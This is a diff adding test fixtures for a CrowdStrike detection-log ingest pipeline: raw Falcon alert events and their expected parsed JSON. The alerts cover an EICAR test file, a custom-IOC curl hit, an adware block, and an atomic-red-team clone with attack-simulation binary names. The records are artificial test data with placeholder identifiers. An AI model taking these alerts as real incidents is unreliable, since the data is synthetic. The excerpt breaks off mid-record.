+{"AgentId":"cff45d56127743a593792fb968dac907","AggregateId":"aggind:cff45d56127743a593792fb968dac907:38655211725","CommandLine":"C:\\Windows\\Explorer.EXE","CompositeId":"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320","DataDomains":"Endpoint","Description":"A process has written a known EICAR test file. Review the files written by the triggered process.","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK","FileName":"explorer.exe","FilePath":"\\Device\\HarddiskVolume4\\Windows\\explorer.exe","FilesAccessed":[{"FileName":"eicarcom2.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads","Timestamp":1751371830},{"FileName":"thumbcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371830},{"FileName":"thumbcache_idx.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371830},{"FileName":"GLEAM-LIGHT.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"GLEAM-DARK.svg","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds","Timestamp":1751371835},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371841},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371842},{"FileName":"eicar_com.zip","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2","Timestamp":1751371843},{"FileName":"iconcache_16.db","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer","Timestamp":1751371843}],"FilesWritten":[{"FileName":"eicar.com","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com","Timestamp":1751371843},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371658},{"FileName":"The Internet.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"windowsdefender--threat-.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371744},{"FileName":"https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk","FilePath":"\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent","Timestamp":1751371761}],"GrandParentCommandLine":"winlogon.exe","GrandParentImageFileName":"winlogon.exe","GrandParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe","HostGroups":"6b15afc3ea3a42ed810b5c163e490a9d","Hostname":"dave-win10-3","LocalIP":"10.0.0.13","LocalIPv6":"","LogonDomain":"dave-win10-3","MACAddress":"ba-d0-00-ba-d0-00","MD5String":"23ba370fc8357f6f827812da142b5fcb","Name":"Known Malware","NetworkAccesses":[{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49729,"Protocol":"TCP","RemoteAddress":"150.171.27.12","RemotePort":443},{"AccessTimestamp":1751371565,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49730,"Protocol":"TCP","RemoteAddress":"2.22.144.74","RemotePort":443},{"AccessTimestamp":1751371787,"AccessType":0,"ConnectionDirection":0,"IsIPV6":false,"LocalAddress":"10.0.0.13","LocalPort":49948,"Protocol":"TCP","RemoteAddress":"2.18.27.89","RemotePort":443}],"Objective":"Follow Through","ParentCommandLine":"C:\\Windows\\system32\\userinit.exe","ParentImageFileName":"userinit.exe","ParentImageFilePath":"\\Device\\HarddiskVolume4\\Windows\\System32\\userinit.exe","ParentProcessId":38850737845,"PatternDispositionDescription":"Detection, standard detection.","PatternDispositionFlags":{"BlockingUnsupportedOrDisabled":false,"BootupSafeguardEnabled":false,"ContainmentFileSystem":false,"CriticalProcessDisabled":false,"Detect":false,"FsOperationBlocked":false,"HandleOperationDowngraded":false,"InddetMask":false,"Indicator":false,"KillActionFailed":false,"KillParent":false,"KillProcess":false,"KillSubProcess":false,"OperationBlocked":false,"PolicyDisabled":false,"ProcessBlocked":false,"QuarantineFile":false,"QuarantineMachine":false,"RegistryOperationBlocked":false,"Rooting":false,"SensorOnly":false,"SuspendParent":false,"SuspendProcess":false},"PatternDispositionValue":0,"PatternId":10418,"PlatformId":"0","PlatformName":"Windows","ProcessEndTime":0,"ProcessId":38850874557,"ProcessStartTime":1751371562,"ReferrerUrl":"C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip","SHA1String":"0000000000000000000000000000000000000000","SHA256String":"a9cc4e666b1a0cb0b6349fbe076e2bd7d2ac5b10f40d6466eb369e9e596978f7","Severity":10,"SeverityName":"Informational","SourceProducts":"Falcon Insight","SourceVendors":"CrowdStrike","Tactic":"Execution","Technique":"User Execution","Type":"ldt","UserName":"win10_user3","ExternalApiType":"Event_EppDetectionSummaryEvent"}
+{"Tactic":"Custom Intelligence","CustomerIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","EventType":"Event_ExternalApiEvent","ParentProcessId":"1234567890123456789","SourceVendors":"CrowdStrike","AggregateId":"aggind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:9876543210987654321","UTCTimestamp":"1700000000","LogonDomain":"","FalconHostLink":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321?_cid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","CompositeId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:ind:a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6:1234567890123456789-5306-9876543210987654321","Name":"Intel Detection","SHA1String":"0000000000000000000000000000000000000000","SourceProducts":"Falcon Insight","ProcessEndTime":"1700000001","IOCValue":"example.com","PatternId":"5306","MitreAttack":[{"TacticID":"CSTA0005","Tactic":"Custom Intelligence","TechniqueID":"CST0005","PatternID":"5306","Technique":"Indicator of Compromise"}],"AgentId":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","ParentCommandLine":"-bash","ParentImageFilePath":"/usr/bin/bash","DataDomains":"Endpoint","LocalIPv6":"","PatternDispositionFlags":{"BootupSafeguardEnabled":"false","QuarantineFile":"false","QuarantineMachine":"false","HandleOperationDowngraded":"false","Detect":"false","RegistryOperationBlocked":"false","KillParent":"false","ContainmentFileSystem":"false","Indicator":"false","FsOperationBlocked":"false","OperationBlocked":"false","SuspendParent":"false","SuspendProcess":"false","KillProcess":"false","ProcessBlocked":"false","BlockingUnsupportedOrDisabled":"false","PolicyDisabled":"false","KillActionFailed":"false","SensorOnly":"false","CriticalProcessDisabled":"false","KillSubProcess":"false","Rooting":"false","InddetMask":"false"},"Hostname":"test-host-01","GrandParentCommandLine":"/usr/sbin/sshd -D -R","PatternDispositionDescription":"Detection, standard detection.","PlatformName":"Linux","Nonce":"1234567890123456789","Objective":"Falcon Detection Method","ProcessStartTime":"1700000000","Technique":"Indicator of Compromise","cid":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","eid":"118","Description":"A domain matched a Custom Intelligence Indicator (Custom IOC) with informational severity.","FileName":"curl","ParentImageFileName":"bash","HostGroups":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6,b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7","LocalIP":"192.168.1.100","PlatformId":"3","timestamp":"2023-11-15T12:00:00Z","GrandParentImageFileName":"sshd","FilePath":"/usr/bin/curl","UserName":"testuser","MD5String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5","SeverityName":"Informational","Severity":"10","CloudIndicator":"true","PatternDispositionValue":"0","ExternalApiType":"Event_EppDetectionSummaryEvent","SHA256String":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","NetworkAccesses":[{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.1","LocalAddress":"192.168.1.100","LocalPort":"5353","RemotePort":"53","IsIPV6":"false","Protocol":"UDP","AccessType":"0"},{"AccessTimestamp":"1700000001","RemoteAddress":"192.168.1.2","LocalAddress":"192.168.1.100","LocalPort":"44300","RemotePort":"443","IsIPV6":"false","Protocol":"TCP","AccessType":"0"}],"CommandLine":"curl https://example.com","Type":"ldt","GrandParentImageFilePath":"/usr/sbin/sshd","MACAddress":"00-11-22-33-44-55","AgentIdString":"a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6","IOCType":"domain","ProcessId":"1234567890123456789"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
new file mode 100644
index 0000000000..ff1c57bf92
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
@@ -0,0 +1,2101 @@
+{
+    "expected": [
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902",
+                "AssociatedFile": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
+                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "GrandparentCommandLine": "C:\\Windows\\system32\\services.exe",
+                "GrandparentImageFileName": "services.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume2\\Windows\\System32\\services.exe",
+                "HostGroups": [
+                    "ba7f8041fd6c47dcae4cff3194861088",
+                    "c8d1292a8a904216aa25ab728f4b45fd"
+                ],
+                "IOCType": "hash_sha256",
+                "IOCValue": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
+                "MACAddress": "01-23-45-67-89-ab",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe\"",
+                "PatternDispositionDescription": "Prevention, process was blocked from execution.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": true,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 2048,
+                "PatternId": 5728,
+                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                "Severity": 30,
+                "SeverityName": "Low",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Malware",
+                "Technique": "PUP",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "c8d1292a8a904216aa25ab728f4b45fd"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"ProcessStartTime\":1718032715,\"ProcessEndTime\":1718032715,\"ProcessId\":43009301133,\"ParentProcessId\":25841449898,\"Hostname\":\"DESKTOP1111\",\"UserName\":\"USER11111\",\"Name\":\"NGAV\",\"Description\":\"This file is classified as Adware/PUP based on its SHA256 hash.\",\"Severity\":30,\"SeverityName\":\"Low\",\"FileName\":\"rfusclient.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"CommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\\\" /rsession\",\"SHA256String\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"MD5String\":\"848a53dc549be0386e5da0f49700c389\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"OVAC\",\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"IOCType\":\"hash_sha256\",\"IOCValue\":\"faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"81.2.69.144\",\"MACAddress\":\"01-23-45-67-89-ab\",\"Tactic\":\"Malware\",\"Technique\":\"PUP\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Prevention, process was blocked from execution.\",\"PatternDispositionValue\":2048,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":false,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":true,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"rutserv.exe\",\"ParentCommandLine\":\"\\\"C:\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\\\"\",\"GrandParentImageFileName\":\"services.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\system32\\\\services.exe\",\"HostGroups\":\"ba7f8041fd6c47dcae4cff3194861088,c8d1292a8a904216aa25ab728f4b45fd\",\"AssociatedFile\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rfusclient.exe\",\"PatternId\":5728,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:21483417902\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Program Files (x86)\\\\Remote Utilities - Host\\\\rutserv.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume2\\\\Windows\\\\System32\\\\services.exe\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host",
+                "hash": {
+                    "md5": "848a53dc549be0386e5da0f49700c389",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976"
+                },
+                "name": "rfusclient.exe",
+                "path": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe"
+            },
+            "host": {
+                "domain": "OVAC",
+                "hostname": "DESKTOP1111",
+                "mac": [
+                    "01-23-45-67-89-AB"
+                ],
+                "name": "DESKTOP1111"
+            },
+            "message": "This file is classified as Adware/PUP based on its SHA256 hash.",
+            "process": {
+                "command_line": "\"C:\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe\" /rsession",
+                "end": "2024-06-10T15:18:35.000Z",
+                "entity_id": "43009301133",
+                "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rfusclient.exe",
+                "name": "rfusclient.exe",
+                "parent": {
+                    "entity_id": "25841449898",
+                    "executable": "\\Device\\HarddiskVolume2\\Program Files (x86)\\Remote Utilities - Host\\rutserv.exe",
+                    "name": "rutserv.exe"
+                },
+                "start": "2024-06-10T15:18:35.000Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "faf0c5e4ef7dbcfd863377c55a4d1d87a3f6a58c13a8a9882e11012066f31976",
+                    "848a53dc549be0386e5da0f49700c389"
+                ],
+                "hosts": [
+                    "DESKTOP1111"
+                ],
+                "ip": [
+                    "81.2.69.144"
+                ],
+                "user": [
+                    "USER11111"
+                ]
+            },
+            "rule": {
+                "description": "This file is classified as Adware/PUP based on its SHA256 hash.",
+                "name": "NGAV"
+            },
+            "source": {
+                "address": "81.2.69.144",
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": "81.2.69.144"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "USER11111"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111",
+                "CompositeId": "44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999",
+                "FilesWritten": [
+                    {
+                        "FileName": "test_upx_header_changed",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "test_upx",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "CreateProcessWithPipe.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1055.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.004/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "msys-2.0.dll",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "calc.dll",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1047/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1055.011_x64.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.011/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "EtwpCreateEtwThread.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "CreateProcess.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    },
+                    {
+                        "FileName": "T1036.003.exe",
+                        "FilePath": "/home/azureuser/atomic-red-team/atomics/T1036.003/bin/",
+                        "Timestamp": "2024-06-25T10:06:06.000Z"
+                    }
+                ],
+                "GrandparentCommandLine": "/usr/sbin/sshd -D -R",
+                "GrandparentImageFileName": "sshd",
+                "GrandparentImageFilePath": "/usr/sbin/sshd",
+                "HostGroups": [
+                    "44be50f58ccfcfcfcfcfcfcfcffc"
+                ],
+                "MACAddress": "02-42-d8-66-fe-03",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "-bash",
+                "PatternDispositionDescription": "Detection, process would have been killed if related prevention policy setting was enabled.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": true,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": true,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 272,
+                "PatternId": 30115,
+                "SensorId": "c8d1292a8a904216aa25ab728f4b45fd",
+                "Severity": 70,
+                "SeverityName": "High",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Malware",
+                "Technique": "Malicious File",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "c8d1292a8a904216aa25ab728f4b45fd"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"ProcessStartTime\":1719309930,\"ProcessEndTime\":0,\"ProcessId\":1719309930613520072,\"ParentProcessId\":1719308637781199091,\"Hostname\":\"linux-vm\",\"UserName\":\"azureuser\",\"Name\":\"Known Malware\",\"Description\":\"A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.\",\"Severity\":70,\"SeverityName\":\"High\",\"FileName\":\"git\",\"FilePath\":\"/usr/bin/git\",\"CommandLine\":\"git clone https://github.com/redcanaryco/atomic-red-team.git\",\"SHA256String\":\"29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc\",\"MD5String\":\"675853ca01ec441df7a015b91a7e1272\",\"SHA1String\":\"0000000000000000000000000000000000000000\",\"LogonDomain\":\"\",\"FilesWritten\":[{\"Timestamp\":1719309966,\"FileName\":\"test_upx_header_changed\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"test_upx\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1027.002/bin/linux/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcessWithPipe.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.004/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"msys-2.0.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/vuln_dll/\"},{\"Timestamp\":1719309966,\"FileName\":\"calc.dll\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1047/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1055.011_x64.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.011/bin/\"},{\"Timestamp\":1719309966,\"FileName\":\"EtwpCreateEtwThread.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"CreateProcess.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1055.012/bin/x64/\"},{\"Timestamp\":1719309966,\"FileName\":\"T1036.003.exe\",\"FilePath\":\"/home/azureuser/atomic-red-team/atomics/T1036.003/bin/\"}],\"FalconHostLink\":\"https://falcon.eu-1.crowdstrike.com/activity-v2/detections/44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333?_cid=99999999999999999999999999999999\",\"AgentId\":\"c8d1292a8a904216aa25ab728f4b45fd\",\"CompositeId\":\"44be50f58ccfcfcfcfcfcfcfcffc:ind:c8d1292a8a904216aa25ab728f4b45fd:11111111111-2222-3333333\",\"LocalIP\":\"172.17.0.1\",\"MACAddress\":\"02-42-d8-66-fe-03\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Objective\":\"Falcon Detection Method\",\"PatternDispositionDescription\":\"Detection, process would have been killed if related prevention policy setting was enabled.\",\"PatternDispositionValue\":272,\"PatternDispositionFlags\":{\"Indicator\":false,\"Detect\":false,\"InddetMask\":false,\"SensorOnly\":false,\"Rooting\":false,\"KillProcess\":true,\"KillSubProcess\":false,\"QuarantineMachine\":false,\"QuarantineFile\":false,\"PolicyDisabled\":true,\"KillParent\":false,\"OperationBlocked\":false,\"ProcessBlocked\":false,\"RegistryOperationBlocked\":false,\"CriticalProcessDisabled\":false,\"BootupSafeguardEnabled\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"KillActionFailed\":false,\"BlockingUnsupportedOrDisabled\":false,\"SuspendProcess\":false,\"SuspendParent\":false},\"ParentImageFileName\":\"bash\",\"ParentCommandLine\":\"-bash\",\"GrandParentImageFileName\":\"sshd\",\"GrandParentCommandLine\":\"/usr/sbin/sshd -D -R\",\"HostGroups\":\"44be50f58ccfcfcfcfcfcfcfcffc\",\"PatternId\":30115,\"SourceVendors\":\"CrowdStrike\",\"SourceProducts\":\"Falcon Insight\",\"DataDomains\":\"Endpoint\",\"AggregateId\":\"aggind:c8d1292a8a904216aa25ab728f4b45fd:11111111111\",\"Type\":\"ldt\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"GrandParentImageFilePath\":\"/usr/sbin/sshd\",\"LocalIPv6\":\"\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 73,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "/usr/bin",
+                "hash": {
+                    "md5": "675853ca01ec441df7a015b91a7e1272",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc"
+                },
+                "name": "git",
+                "path": "/usr/bin/git"
+            },
+            "host": {
+                "hostname": "linux-vm",
+                "mac": [
+                    "02-42-D8-66-FE-03"
+                ],
+                "name": "linux-vm"
+            },
+            "message": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+            "process": {
+                "command_line": "git clone https://github.com/redcanaryco/atomic-red-team.git",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "1719309930613520072",
+                "executable": "/usr/bin/git",
+                "name": "git",
+                "parent": {
+                    "entity_id": "1719308637781199091",
+                    "executable": "/usr/bin/bash",
+                    "name": "bash"
+                },
+                "start": "2024-06-25T10:05:30.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "29aa689f38158d2e8941fa54e436f0260890af31cecad1e8799e5c2df7bc1ecc",
+                    "675853ca01ec441df7a015b91a7e1272"
+                ],
+                "hosts": [
+                    "linux-vm"
+                ],
+                "ip": [
+                    "172.17.0.1"
+                ],
+                "user": [
+                    "azureuser"
+                ]
+            },
+            "rule": {
+                "description": "A suspicious process related to a likely malicious file was launched. Review any binaries involved as they may be related to malware.",
+                "name": "Known Malware"
+            },
+            "source": {
+                "address": "172.17.0.1",
+                "ip": "172.17.0.1"
+            },
+            "tags": [
